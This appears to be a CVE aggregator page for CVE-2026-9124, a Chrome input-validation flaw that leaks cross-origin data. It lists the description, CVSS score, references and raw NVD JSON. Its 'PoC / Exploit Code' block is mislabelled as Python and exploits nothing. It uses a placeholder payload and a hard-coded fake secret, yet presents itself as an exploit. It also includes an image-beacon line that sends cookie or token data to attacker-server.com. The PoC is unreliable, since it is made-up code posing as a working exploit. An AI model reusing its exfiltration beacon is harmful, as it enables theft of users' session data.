CVE-2026-9124

Description

Insufficient validation of untrusted input in Input in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9124
Demonstrates the concept of leaking cross-origin data via crafted input
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9124 PoC</title>
</head>
<body>
<h1>CVE-2026-9124 PoC</h1>
<p>This page demonstrates the insufficient validation vulnerability in Chrome Input.</p>

<script>
    // Function to simulate the exploit scenario
    function triggerExploit() {
        // Crafted input intended to trigger the validation bypass
        var maliciousInput = "<specific_payload_to_bypass_validation>";
        
        // Create an input element and set the value
        var inputElement = document.createElement('input');
        inputElement.type = 'text';
        inputElement.value = maliciousInput;
        
        // In a real exploit scenario, manipulating this input in the compromised renderer
        // process could allow reading memory or cross-origin data.
        console.log("Triggering payload: " + maliciousInput);
        
        // Simulate data leakage attempt
        try {
            // Hypothetical function to access restricted data due to the bug
            leakData();
        } catch (e) {
            console.error("Exploit execution failed: " + e.message);
        }
    }

    // Simulated data leakage function
    function leakData() {
        // This represents the behavior where cross-origin data becomes accessible
        var sensitiveData = "Sensitive_Cookie_Or_Token_From_Another_Origin";
        alert("Simulated Data Leak: " + sensitiveData);
        
        // Send data to attacker controlled server
        var img = new Image();
        img.src = "http://attacker-server.com/collect?data=" + encodeURIComponent(sensitiveData);
    }

    // Requires user interaction (UI:R)
    document.body.innerHTML += '<button onclick="triggerExploit()">Click to Run Exploit</button>';
</script>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9124
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9124
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9124/
[4] VulDB https://vuldb.com/cve/CVE-2026-9124
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/496375695

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9124", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:45.360", "lastModified": "2026-05-20T20:16:45.360", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Input in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496375695", "source": "[email protected]"}]}}